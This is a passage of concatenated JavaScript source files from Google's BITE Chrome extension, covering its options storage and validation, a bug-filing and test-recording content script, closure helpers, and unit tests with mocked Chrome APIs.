@private */ bite.options.data.validateEnum_ = function(enumToTest, value, id) { // If the enum under test does not contain the value then throw an exception. if (!goog.object.containsValue(enumToTest, value)) { throw 'ERROR: Invalid value (' + value + ') for option ' + id + '.'; } }; /** * Validates a checkbox. * @param {string} value The value to validate. * @param {bite.options.constants.Id} id The option. * @private */ bite.options.data.validateCheckbox_ = function(value, id) { if (value != 'true' && value != 'false') { throw 'ERROR: Invalid value (' + value + ') for option ' + id + '.'; } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This function provides functions for manipulating private BITE * configuration data. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.options.private_data'); goog.require('bite.options.private_constants'); goog.require('goog.date.DateTime'); goog.require('goog.object'); /** * Returns the current setting for the specified option. * @param {string} key The option's cache key. * @return {?string} The current value. */ bite.options.private_data.get = function(key) { if (!goog.object.contains(bite.options.private_constants.Key, key)) { console.log('ERROR: Trying to get a configuration option with invalid ' + 'key ' + key + '.'); return null; } // Return the cached value or the default if there is no cache value. return /** @type {string} */ (goog.global.localStorage.getItem(key)) || null; }; /** * Updates the given option with the given value. This is a private function * and expects the user to validate their own inputs. * @param {string} key The option's cache key. * @param {string} value The option's new value if valid. */ bite.options.private_data.update = function(key, value) { if (!goog.object.contains(bite.options.private_constants.Key, key)) { console.log('ERROR: Trying to get a configuration option with invalid ' + 'key ' + key + '.'); return; } // Cache the specified option's new value. goog.global.localStorage.setItem(key, value); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Defines BITE options/settings constants that are intended to * be private to the options package. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.options.private_constants'); goog.require('bite.options.constants'); /** * Options key values used for caching values in the localStorage. * * Some of the keys are values from bite.options.constants.Id instead of * directly accessing the enum due to the fact that Closure can not handle * keys in an enum being set from values in a different enum. They also can't * handle non-capitalized, quoted strings as keys for enums. Thus this type * is Object out of necessity. * @type {!Object} */ bite.options.private_constants.Key = { ADMIN_LAST_SAVE_TIME: 'bite.options.admin.lastSaveTime', ADMIN_LAST_SAVE_USER: 'bite.options.admin.lastSaveUser', 'project': 'bite.options.bug.project', 'recording': 'bite.options.bug.recording', 'screenshot': 'bite.options.bug.screenshot', 'state': 'bite.options.bug.state', 'uiBinding': 'bite.options.bug.uiBinding', 'serverChannel': 'bite.options.server.channel', 'autoRecord': 'bite.options.rpf.autoRecord', 'featuresBugs': 'bite.options.popup.Bugs', 'featuresRpf': 'bite.options.popup.Rpf', 'featuresTests': 'bite.options.popup.Tests', 'featuresClose': 'bite.options.popup.Close', 'featuresReport': 'bite.options.popup.Report' }; /** * Defines the default username constant when there is no username given. * @type {string} */ bite.options.private_constants.DEFAULT_USERNAME = 'unknown'; /** * Default values for the Option settings. * * Some of the keys are values from bite.options.constants.Id instead of * directly accessing the enum due to the fact that Closure can not handle * keys in an enum being set from values in a different enum. They also can't * handle non-capitalized, quoted strings as keys for enums. Thus this type * is Object out of necessity. * @type {!Object} */ bite.options.private_constants.Default = { 'project': bite.options.constants.ProjectOption.ALL, 'recording': bite.options.constants.ThreeWayOption.ALL, 'screenshot': bite.options.constants.ThreeWayOption.ALL, 'state': bite.options.constants.StateOption.ALL, 'uiBinding': bite.options.constants.ThreeWayOption.ALL, 'serverChannel': bite.options.constants.ServerChannelOption.DEV, 'autoRecord': 'false', 'featuresBugs': 'true', 'featuresRpf': 'true', 'featuresTests': 'false', 'featuresClose': 'false', 'featuresReport': 'true' };
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Tests for the code on the Options script file. * * @author alexto@google.com (Alexis O. Torres) */ goog.require('bite.options.Page'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.events'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; var configuration = { 'project': bite.options.constants.ProjectOption.NOT_TRASH, 'recording': bite.options.constants.ThreeWayOption.ALL, 'screenshot': bite.options.constants.ThreeWayOption.ALL, 'state': bite.options.constants.StateOption.ALL, 'uiBinding': bite.options.constants.ThreeWayOption.ALL, 'serverChannel': bite.options.constants.ServerChannelOption.DEVELOPMENT, 'autoRecord': 'false', 'featuresBugs': 'false', 'featuresRpf': 'false', 'featuresTests': 'false' }; function setUp() { initChrome(); mockOnRequest = {addListener: goog.nullFunction, hasListener: function() {return false}}; stubs_.set(chrome.extension, 'onRequest', mockOnRequest); } function tearDown() { if (mockControl_) { mockControl_.$tearDown(); mockControl_ = null; } stubs_.reset(); } function testSaveOptions() { mockControl_ = new goog.testing.MockControl(); optionsPage = new bite.options.Page(); var mockGet = mockControl_.createFunctionMock('get'); stubs_.set(bite.options.data, 'get', mockGet); var mockConfiguration = mockControl_.createFunctionMock( 'getCurrentConfiguration'); stubs_.set(bite.options.data, 'getCurrentConfiguration', mockConfiguration); var mockPrivateGet = mockControl_.createFunctionMock('get'); stubs_.set(bite.options.private_data, 'get', mockPrivateGet); var mockUpdateConfiguration = mockControl_.createFunctionMock( 'updateConfiguration'); stubs_.set(bite.options.data, 'updateConfiguration', mockUpdateConfiguration); mockConfiguration().$returns(configuration); // The LoginManager calls bite.options.data.get for the server channel. mockGet('serverChannel').$anyTimes(); mockGet('featuresBugs').$times(1); mockGet('serverChannel').$anyTimes(); mockPrivateGet(goog.testing.mockmatchers.isString).$anyTimes().$returns( 'false'); var expectedChanges = {'featuresBugs': 'true'}; mockUpdateConfiguration(expectedChanges, undefined).$times(1); mockControl_.$replayAll(); optionsPage.init(); assertTrue(optionsPage.isReady()); var bugsCheckbox = goog.dom.getElement('features-bugs'); bugsCheckbox.checked = true; goog.testing.events.fireClickEvent(bugsCheckbox); var saveButton = goog.dom.getElement('save-button'); goog.testing.events.fireClickEvent(saveButton); optionsPage.stop(); assertTrue(optionsPage.isDestroyed()); mockControl_.$verifyAll(); }
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * Heads-up Display content script. * * @author alexto@google.com (Alexis O. Torres) */ goog.provide('bite.client.Content'); goog.require('Bite.Constants'); goog.require('bite.bugs.filter'); goog.require('bite.client.BugOverlay'); goog.require('bite.client.BugsConsole'); goog.require('bite.client.ElementMapper'); goog.require('bite.client.ElementSelector'); goog.require('bite.client.Templates'); goog.require('bite.client.TestsConsole'); goog.require('bite.client.console.NewBug'); goog.require('bite.client.console.NewBugTypeSelector'); goog.require('bite.console.Helper'); goog.require('bite.console.Screenshot'); goog.require('bite.options.constants'); goog.require('common.client.ElementDescriptor'); goog.require('goog.Timer'); goog.require('goog.Uri.QueryData'); goog.require('goog.dom'); goog.require('goog.dom.TagName'); goog.require('goog.dom.ViewportSizeMonitor'); goog.require('goog.dom.classes'); goog.require('goog.json'); goog.require('goog.math'); goog.require('goog.style'); goog.require('goog.userAgent'); goog.require('goog.userAgent.jscript'); goog.require('goog.userAgent.platform'); /** * Content script class. * @constructor * @export */ bite.client.Content = function() { /** * Whether or not the current page is in the list of pages we should * autorecord. * @type {boolean} * @private */ this.isAutoRecordPage_ = this.isAutoRecordUrl_(goog.global.location.href); /** * Whether or not RPF should automatically begin recording. * @type {boolean} * @private */ this.autoRecord_ = false; /** * The manager for the overlay. * @type {bite.client.BugOverlay} * @private */ this.bugOverlay_ = null; /** * Manager of the Bugs Console. * @type {bite.client.BugsConsole} * @private */ this.bugsConsole_ = null; /** * Manager of the Test Console. * @type {bite.client.TestsConsole} * @private */ this.testsConsole_ = null; /** * Monitors the viewport (window). * @type {!goog.dom.ViewportSizeMonitor} * @private */ this.biteViewportSizeMonitor_ = new goog.dom.ViewportSizeMonitor(); /** * Manages selecting a new UI element when reporting a new bug from the page. * @type {bite.client.ElementSelector} * @private */ this.elementSelector_ = null; /** * Buffer for recorded script string. * @type {string} * @private */ this.recordingScript_ = ''; /** * Buffer for the recorded script in human readable format. * @type {string} * @private */ this.recordingReadable_ = ''; /** * Buffer for special recorded data (e.g. while while types). * @type {string} * @private */ this.recordingData_ = ''; /** * The screenshot manager instance. * @type {bite.console.Screenshot} * @private */ this.screenshotMgr_ = new bite.console.Screenshot(); /** * Buffer for recorded script's info map. * @type {Object} * @private */ this.recordingInfoMap_ = {}; /** * Whether it's currently in the state of recording user actions. * @type {boolean} * @private */ this.isRecordingActions_ = false; /** * Whether a new bug is currently being filed. * @type {boolean} * @private */ this.isFilingNewBug_ = false; /** * The console for selecting the type of a new bug. * @type {bite.client.console.NewBugTypeSelector} * @private */ this.newBugTypeSelector_ = null; /** * The url of the current server channel. * @type {string} * @private */ this.serverChannel_ = ''; /** * Retrieve the settings and current user info. */ chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.GET_SETTINGS}, goog.bind(this.handleSettings_, this, goog.nullFunction)); // Add a listener for window resizes. goog.events.listen(this.biteViewportSizeMonitor_, goog.events.EventType.RESIZE, goog.bind(this.windowResizeHandler_, this)); // Add a listener for keyboard shortcuts. goog.events.listen(goog.global.document.body, goog.events.EventType.KEYDOWN, goog.bind(this.shortcutHandler_, this)); }; /** * Element seleted while logging a new bug or dragging an exising * bug in to the right context. * @type {Element} * @private */ bite.client.Content.prototype.selectedElement_ = null; /** * @type {?bite.client.console.NewBug} * @private */ bite.client.Content.prototype.newBugConsole_ = null; /** * Id of the bug template to show when the new bug console is shown. * @type {string} * @private */ bite.client.Content.prototype.newBugTemplateId_ = ''; /** * Bugs data. * @type {Object} * @private */ bite.client.Content.prototype.bugs_ = null; /** * Bug data filters. * @type {Object} * @private */ bite.client.Content.prototype.bugFilters_ = null; /** * User email. * @type {?string} * @private */ bite.client.Content.prototype.user_ = null; /** * Buffer for the link to recorded script in json format. * @type {?string} * @private */ bite.client.Content.prototype.recordingLink_ = null; /** * Handles the response from the retrieving the settings. * @param {?function(string)} callback A method to callback with retrieved url. * @param {Object} settings The settings data. This is a mapping of option * ids in bite.options.constants.Id to their values. * @private */ bite.client.Content.prototype.handleSettings_ = function(callback, settings) { this.serverChannel_ = settings[bite.options.constants.Id.SERVER_CHANNEL]; if (settings[bite.options.constants.Id.AUTO_RECORD] == 'true') { this.autoRecord_ = true; } else { this.autoRecord_ = false; } if (callback) { callback(this.serverChannel_); } // To enable stand-alone bug filing (without the Bugs console), and Maps // specific features get the user's info and then finish initializing. chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.GET_CURRENT_USER}, goog.bind(this.getCurrentUser_, this, goog.bind(this.constructorCallback_, this))); }; /** * Callback function to finish initializing this class. Begins auto-recording * if the page url matches those for automatic recording. * @private */ bite.client.Content.prototype.constructorCallback_ = function() { if (this.isAutoRecordPage_ && this.autoRecord_) { this.overrideBiteInstallLink_(); this.startRecording_(); } }; /** * Handles the response from the backend for pages. * @param {Object} e Key event object containing data on what was pressed. * @private */ bite.client.Content.prototype.shortcutHandler_ = function(e) { if (e.ctrlKey && e.altKey) { if (e.keyCode == Bite.Constants.KeyCodes.B_KEY) { this.startNewBugHandler_(); } } }; /** * Sets the template id that the New Bug console will use as its default. * @param {string} template The id of the new template. */ bite.client.Content.prototype.setNewBugTemplateId = function(template) { this.newBugTemplateId_ = template; }; /** * Overrides the BITE Install button link if it is on the website. * Clicking on the link when BITE is installed will open the New Bug * console. * * @private */ bite.client.Content.prototype.overrideBiteInstallLink_ = function() { var biteInstallButton = goog.dom.getElement('bite-install-link'); if (biteInstallButton) { goog.dom.setProperties(biteInstallButton, {'href': 'javascript: void(0)', 'id': 'bite-already-installed-link'}); goog.events.removeAll(biteInstallButton); goog.events.listen(biteInstallButton, goog.events.EventType.CLICK, goog.bind(this.startNewBugHandler_, this)); } // The code below supports the version of maps without the bite install link. var bugReport = goog.dom.getElement('bugreport'); if (!bugReport) { return; } var link = goog.dom.getFirstElementChild(bugReport); if (!link) { return; } goog.dom.setProperties(link, {'href': 'javascript: void(0)'}); goog.events.removeAll(link); goog.events.listen(link, goog.events.EventType.CLICK, goog.bind(this.startNewBugHandler_, this)); }; /** * Gets current user's email address. * @param {function()} callback The callback to invoke. * @param {{success: boolean, username: string, url: string}} responseObj * An object that contains the login or logout url and optionally * the username of the user. * @private */ bite.client.Content.prototype.getCurrentUser_ = function(callback, responseObj) { if (!responseObj['success']) { console.warn('Error checking login status.'); } else { this.user_ = responseObj['username']; } callback(); }; /** * Notify the user that they can't perform that action without logging in. * @private */ bite.client.Content.prototype.createLoginErrorMessage_ = function() { alert('You must be logged in to perform that action. \n' + 'Please log in at ' + this.serverChannel_ + ' and try again.'); }; /** * Returns whether or not a given url is in the list of urls that should * trigger automatic recording. * @param {string} url The url to check. * @return {boolean} True if the url should trigger automatic recording. * @private */ bite.client.Content.prototype.isAutoRecordUrl_ = function(url) { var uri = new goog.Uri(url); var urls = Bite.Constants.AUTO_RECORD_URLS; for (var i = 0; i < urls.length; ++i) { if (goog.string.caseInsensitiveCompare(uri.getDomain(), urls[i]) == 0) { return true; } } return false; }; /** * Automatically starts recording user actions on a page * (with no rpf Console UI constructed). * @private */ bite.client.Content.prototype.startRecording_ = function() { this.isRecordingActions_ = true; chrome.extension.sendRequest( {'command': Bite.Constants.CONSOLE_CMDS.SET_TAB_AND_START_RECORDING, 'params': {'url': ''}}); bite.client.Content.logEvent_('StartedRecording', ''); }; /** * Stops recording user actions on a page and saves the test script on * the web. * @private */ bite.client.Content.prototype.stopRecording_ = function() { if (!this.isRecordingActions_) { return; } chrome.extension.sendRequest( {'command': Bite.Constants.CONSOLE_CMDS.STOP_RECORDING}); bite.client.Content.logEvent_('StoppedRecording', ''); this.isRecordingActions_ = false; }; /** * Static method used to instrument the usage of BITE's content script. * @param {string} action The action to log. * @param {string} label Additional details related to the action to log. * @private */ bite.client.Content.logEvent_ = function(action, label) { chrome.extension.sendRequest({'action': Bite.Constants.HUD_ACTION.LOG_EVENT, 'category': Bite.Constants.TestConsole.NONE, 'event_action': action, 'label': label}); }; /** * Called when the window resizes and updates BITE features that need it. * @private */ bite.client.Content.prototype.windowResizeHandler_ = function() { // Update bug overlay. if (this.bugOverlay_ && this.bugOverlay_.bugOverlayOn()) { this.bugOverlay_.render(); } }; /** * Removes the console element from the page. * @private */ bite.client.Content.prototype.removeAllConsoles_ = function() { if (this.bugsConsole_) { this.bugsConsole_.removeConsole(); this.bugsConsole_ = null; } if (this.testsConsole_) { this.testsConsole_.removeConsole(); this.testsConsole_ = null; } if (this.newBugConsole_) { this.newBugConsole_.cancel(); this.newBugConsole_ = null; } }; // TODO(ralphj): Add a function to just hide the consoles. /** * Starts the process of filing a new bug. Begins by checking if the user is * logged in. * @private */ bite.client.Content.prototype.startNewBugHandler_ = function() { if (!this.user_) { // Try getting the current user one more time. var callback = goog.bind(this.startNewBug_, this); chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.GET_CURRENT_USER}, goog.bind(this.getCurrentUser_, this, callback)); return; } this.startNewBug_(); }; /** * Begins filing a new bug. The first step is to show the New Bug Type * Selector. If the current page does not have any Bug Template options, * the type selector will automatically move to the next step. * @private */ bite.client.Content.prototype.startNewBug_ = function() { if (!this.user_) { this.createLoginErrorMessage_(); return; } // Don't start filing a new bug if the process of filing a new bug has // already begun. if (this.isFilingNewBug_) { return; } this.isFilingNewBug_ = true; this.stopRecording_(); this.removeAllConsoles_(); if (!this.newBugTypeSelector_) { this.newBugTypeSelector_ = new bite.client.console.NewBugTypeSelector( goog.bind(this.setNewBugTemplateId, this), goog.bind(this.toggleReportBug_, this), goog.bind(function() {this.isFilingNewBug_ = false;}, this)); } chrome.extension.sendRequest( {action: Bite.Constants.HUD_ACTION.GET_TEMPLATES, url: goog.global.location.href}, goog.bind(this.newBugTypeSelector_.load, this.newBugTypeSelector_)); }; /** * Toggles the visibility of the Bugs console. * @private */ bite.client.Content.prototype.toggleBugs_ = function() { if (this.bugsConsole_) { if (this.bugsConsole_.isConsoleVisible()) { this.bugsConsole_.hideConsole(); } else { this.bugsConsole_.showConsole(); } } else { this.loadBugsConsole(); } }; /** * Toggles the visibility of the Tests console. * @private */ bite.client.Content.prototype.toggleTests_ = function() { if (this.testsConsole_) { if (this.testsConsole_.isConsoleVisible()) { this.testsConsole_.hideConsole(); } else { this.testsConsole_.showConsole(); } } else { this.loadTestsConsole(); } }; /** * Handles when the New Bug console is done (it is cancelled or a new bug is * logged using it). * @private */ bite.client.Content.prototype.newBugConsoleDoneHandler_ = function() { this.newBugConsole_ = null; this.isFilingNewBug_ = false; }; /** * Handles loading/showing the New Bug console. * @private */ bite.client.Content.prototype.loadNewBugConsole_ = function() { if (!this.newBugConsole_) { var callback = goog.bind(this.newBugConsoleDoneHandler_, this); this.newBugConsole_ = new bite.client.console.NewBug(this.user_, callback); } // The console will not be displayed until the template list is retrieved. chrome.extension.sendRequest( {action: Bite.Constants.HUD_ACTION.GET_TEMPLATES}, goog.bind(this.finishLoadNewBugConsole_, this)); }; /** * Finishes loading the New Bug Console by displaying it to the user. * @param {!Object.<string, bite.client.BugTemplate>} templates The templates to * show. * @private */ bite.client.Content.prototype.finishLoadNewBugConsole_ = function(templates) { this.newBugConsole_.show(this.selectedElement_, this.serverChannel_, templates, this.newBugTemplateId_, this.recordingLink_, this.recordingScript_, this.recordingReadable_, this.recordingData_, this.recordingInfoMap_); }; /** * Toggles Report a bug recording mode. * @private */ bite.client.Content.prototype.toggleReportBug_ = function() { if (!this.elementSelector_) { this.elementSelector_ = new bite.client.ElementSelector( goog.bind(function() {this.isFilingNewBug_ = false;}, this)); } var label = 'IS_RECORDING: ' + this.elementSelector_.isActive(); bite.client.Content.logEvent_('ToggleReportBug', label); if (this.elementSelector_.isActive()) { this.elementSelector_.cancelSelection(); } else if (this.user_) { // Only enter recording mode if the user is logged in. this.removeAllConsoles_(); this.elementSelector_.startRecording( goog.bind(this.endReportBugHandler_, this)); } }; /** * Refreshes the UI to reflect any changes in bug data. * @private */ bite.client.Content.prototype.refreshBugConsoleUI_ = function() { bite.bugs.filter(this.bugs_, this.bugFilters_); if (this.bugsConsole_) { this.bugsConsole_.updateData(this.bugs_, this.user_, this.serverChannel_); } }; /** * Returns a bug with a specified id. * @param {string} id The id of the bug to look up. * @return {?Object} A dictionary of the Bug data elements, or * null if a matching bug wasn't found. * @private */ bite.client.Content.prototype.getBugData_ = function(id) { for (var i = 0; i < this.bugs_.length; ++i) { for (var j = 0, bugs = this.bugs_[i][1]; j < bugs.length; ++j) { if (bugs[j]['id'] == id) { return bugs[j]; } } } return null; }; /** * Gets the link to recorded and saved test from saveloadmanager.js. * @param {!Object.<string, string>} request Object Data sent in the request. * @private */ bite.client.Content.prototype.getRecordingLink_ = function(request) { this.recordingLink_ = request['recording_link']; }; /** * Handles the callback after an element is clicked while logging a new bug. * @param {Element} selectedElement Element the user clicked on. * @private */ bite.client.Content.prototype.endReportBugHandler_ = function(selectedElement) { this.selectedElement_ = selectedElement; this.loadNewBugConsole_(); }; /** * Parses a string containing "###, ###" coordinates. * @param {string} coordinates a string containing "###, ###" coordinates. * @return {Array} An array of ints with [x, y] coordinates. * @private */ bite.client.Content.prototype.parseCoordinates_ = function(coordinates) { var coordComponents = coordinates.split(','); return [parseInt(coordComponents[0], 10), parseInt(coordComponents[1], 10)]; }; /** * Updates the bugs data. * @param {Object} result Bug data known for the page. */ bite.client.Content.prototype.updateBugsData = function(result) { if (!this.user_) { // Try getting the current user one more time. var callback = goog.bind(this.updateBugsData_, this, result); chrome.extension.sendRequest( {'action': Bite.Constants.HUD_ACTION.GET_CURRENT_USER}, goog.bind(this.getCurrentUser_, this, callback)); return; } this.updateBugsData_(result); }; /** * Updates the bugs data. * @param {Object} result Bug data known for the page. */ bite.client.Content.prototype.updateBugsData_ = function(result) { this.bugs_ = result['bugs']; this.bugFilters_ = result['filters']; bite.bugs.filter(this.bugs_, this.bugFilters_); if (this.bugsConsole_) { this.bugsConsole_.updateData(result['bugs'], this.user_, this.serverChannel_); } if (this.bugOverlay_) { this.bugOverlay_.updateData(result['bugs']); } }; /** * Updates the tests data. * @param {Object} result Test data known for the page. */ bite.client.Content.prototype.updateTestData = function(result) { this.user_ = result['user']; if (this.testsConsole_) { this.testsConsole_.updateData(result['test'], this.user_, this.serverChannel_); } }; /** * Loads the bugs console tab. * @export */ bite.client.Content.prototype.loadBugsConsole = function() { bite.client.Content.fetchBugsData(); if (!this.bugsConsole_) { // Set up the overlay before passing it to the bugs console. this.bugOverlay_ = new bite.client.BugOverlay(); this.bugsConsole_ = new bite.client.BugsConsole(this.user_, this.serverChannel_, this.bugOverlay_); } bite.client.Content.logEvent_('Load', 'SET_VISIBLE: ' + this.bugsConsole_.isConsoleVisible()); }; /** * Submits a bug recording to the server. This function is going to be used, * when updating existing bugs with recording information. * @param {Object} bugData a dictionary of the bug data for this binding. * @param {string} recording_link The link to recorded steps. * @private */ bite.client.Content.prototype.submitBugRecording_ = function( bugData, recording_link) { var requestData = {'action': Bite.Constants.HUD_ACTION.UPDATE_BUG, 'project': bugData['project'], 'details': {'id': bugData['kind'], 'kind': bugData['id'], 'recording_link': recording_link}}; chrome.extension.sendRequest(requestData); }; /** * Loads the test console tab. * @export */ bite.client.Content.prototype.loadTestsConsole = function() { bite.client.Content.fetchTestData(); if (!this.testsConsole_) { this.testsConsole_ = new bite.client.TestsConsole(this.user_, this.serverChannel_); } bite.client.Content.logEvent_('Load', 'SET_VISIBLE: ' + this.testsConsole_.isConsoleVisible()); }; /** * Handles request sent via chrome.extension.sendRequest(). * @param {!Object.<string, string|Object>} request Object Data sent in * the request. * @param {MessageSender} sender An object containing information about the * script context that sent the request. * @param {function(!*): void} callback Function to call when the request * completes. * @export */ bite.client.Content.prototype.onRequest = function(request, sender, callback) { if (request['command']) { this.handleScriptCommand_(request, sender, callback); } else if (request['action']) { this.handleBugCommand_(request, sender, callback); } }; /** * Handles the script related commands. * @param {!Object.<string, string|Object>} request Object Data sent in * the request. * @param {MessageSender} sender An object containing information about the * script context that sent the request. * @param {function(!*): void} callback Function to call when the request * completes. * @private */ bite.client.Content.prototype.handleScriptCommand_ = function( request, sender, callback) { switch (request['command']) { case Bite.Constants.UiCmds.ADD_SCREENSHOT: this.screenshotMgr_.addScreenShot( /** @type {string} */ (request['dataUrl']), /** @type {string} */ (request['iconUrl'])); break; case Bite.Constants.UiCmds.ADD_NEW_COMMAND: var params = request['params']; this.recordingScript_ += (params['pCmd'] + '\n\n'); this.recordingReadable_ += (params['readableCmd'] + '\n\n'); if (params['dCmd']) { this.recordingData_ += (params['dCmd'] + '\n'); } this.screenshotMgr_.addIndex(params['cmdMap']['id']); bite.console.Helper.assignInfoMap( this.recordingInfoMap_, params['cmdMap']); break; } }; /** * Handles the bug related commands. * @param {!Object.<string, string, Object>} request Object Data sent in * the request. * @param {MessageSender} sender An object containing information about the * script context that sent the request. * @param {function(!*): void} callback Function to call when the request * completes. * @private */ bite.client.Content.prototype.handleBugCommand_ = function( request, sender, callback) { switch (request['action']) { case Bite.Constants.HUD_ACTION.GET_RECORDING_LINK: this.getRecordingLink_(request); break; case Bite.Constants.HUD_ACTION.HIDE_CONSOLE: this.removeAllConsoles_(); break; case Bite.Constants.HUD_ACTION.START_NEW_BUG: this.startNewBugHandler_(); break; case Bite.Constants.HUD_ACTION.TOGGLE_BUGS: this.toggleBugs_(); break; case Bite.Constants.HUD_ACTION.TOGGLE_TESTS: this.toggleTests_(); break; case Bite.Constants.HUD_ACTION.UPDATE_DATA: bite.client.Content.fetchTestData(); bite.client.Content.fetchBugsData(); break; case bite.options.constants.Message.UPDATE: var requestObj = goog.json.parse(request['data'] || '{}'); this.serverChannel_ = requestObj['serverChannel']; this.bugFilters_ = requestObj; this.refreshBugConsoleUI_(); break; default: goog.global.console.error( 'Action not recognized: ' + request['action']); break; } }; /** * An instance of this class. * @type {bite.client.Content} * @export */ bite.client.Content.instance = new bite.client.Content(); /** * Send request to background page to fetch tests * relevant to the current page. * @export */ bite.client.Content.fetchTestData = function() { chrome.extension.sendRequest( {action: Bite.Constants.HUD_ACTION.FETCH_TEST_DATA, target_url: goog.global.location.href}, goog.bind(bite.client.Content.instance.updateTestData, bite.client.Content.instance)); }; /** * Send request to background page to fetch bugs relevant to the * current page. * @export */ bite.client.Content.fetchBugsData = function() { chrome.extension.sendRequest( {action: Bite.Constants.HUD_ACTION.FETCH_BUGS_DATA, target_url: goog.global.location.href}, goog.bind(bite.client.Content.instance.updateBugsData, bite.client.Content.instance)); }; /** * Creates a lock so multiple instances of the content script won't run. * @param {string} id the ID of the lock. * @export */ function createLock(id) { var biteLock = goog.dom.createDom(goog.dom.TagName.DIV, {'id': id}); // Insert the lock element in the document head, to prevent it from // inteferring with xpaths in the body. goog.dom.appendChild(goog.global.document.head, biteLock); } //Create a lock so other instances won't run on top of this one. createLock(Bite.Constants.BITE_CONSOLE_LOCK); goog.exportSymbol( 'bite.client.Content.instance', bite.client.Content.instance); // Wire up the requests. chrome.extension.onRequest.addListener( goog.bind(bite.client.Content.instance.onRequest, bite.client.Content.instance));
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the closure helper functions. * * @author phu@google.com (Po Hu) */ goog.provide('bite.closure.Helper'); goog.require('goog.style'); goog.require('goog.ui.ComboBox'); /** * Removes the selector items. * @param {goog.ui.ComboBox} selector The combo box. */ bite.closure.Helper.removeItemsFromSelector = function(selector) { selector.removeAllItems(); }; /** * Adds the selector items. * @param {goog.ui.ComboBox} selector The combo box. * @param {Array} items The menu items. */ bite.closure.Helper.addItemsToSelector = function(selector, items) { for (var i = 0, len = items.length; i < len; ++i) { var menuItem = new goog.ui.MenuItem(items[i]); selector.addItem(menuItem); } }; /** * Sets the given group of elements visibilities. * @param {Array.<Element>} elements The elements. * @param {boolean} visible Whether the elements should be visible. */ bite.closure.Helper.setElementsVisibility = function(elements, visible) { for (var i = 0, len = elements.length; i < len; ++i) { goog.style.showElement(elements[i], visible); } };
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Tests for the code on the Options script file. * * @author michaelwill@google.com (Michael Williamson) */ goog.require('Bite.Constants'); goog.require('bite.Popup'); goog.require('goog.json'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.net.XhrIo'); goog.require('goog.testing.recordFunction'); goog.require('rpf.Rpf'); var mocks = null; var stubs = null; var popup = null; var mockBackground = null; function setUp() { initChrome(); mocks = new goog.testing.MockControl(); stubs = new goog.testing.PropertyReplacer(); var mockLocalStorage = {getItem: function() {return 'http://hud.test'}}; stubs.set(goog.global, 'localStorage', mockLocalStorage); popup = new bite.Popup(); } function tearDown() { stubs.reset(); mocks.$tearDown(); } function testOnClickCallback_bugs() { var option = bite.Popup.CONSOLE_OPTIONS_.BUGS.name; popup.onClickCallback_(option); var lastRequestObj = chrome.extension.lastRequest; assertEquals(Bite.Constants.HUD_ACTION.TOGGLE_BUGS, lastRequestObj.action); } function testOnClickCallback_tests() { var option = bite.Popup.CONSOLE_OPTIONS_.TESTS.name; popup.onClickCallback_(option); var lastRequestObj = chrome.extension.lastRequest; assertEquals(Bite.Constants.HUD_ACTION.TOGGLE_TESTS, lastRequestObj.action); } function testOnClickCallback_rpf() { var option = bite.Popup.CONSOLE_OPTIONS_.FLUX.name; var rpfInstance = mocks.createStrictMock(rpf.Rpf); mocks.$replayAll(); popup.onClickCallback_(option); mocks.$verifyAll(); var lastRequestObj = chrome.extension.lastRequest; assertEquals(Bite.Constants.HUD_ACTION.CREATE_RPF_WINDOW, lastRequestObj.action); } function testOnClickCallback_options() { var option = 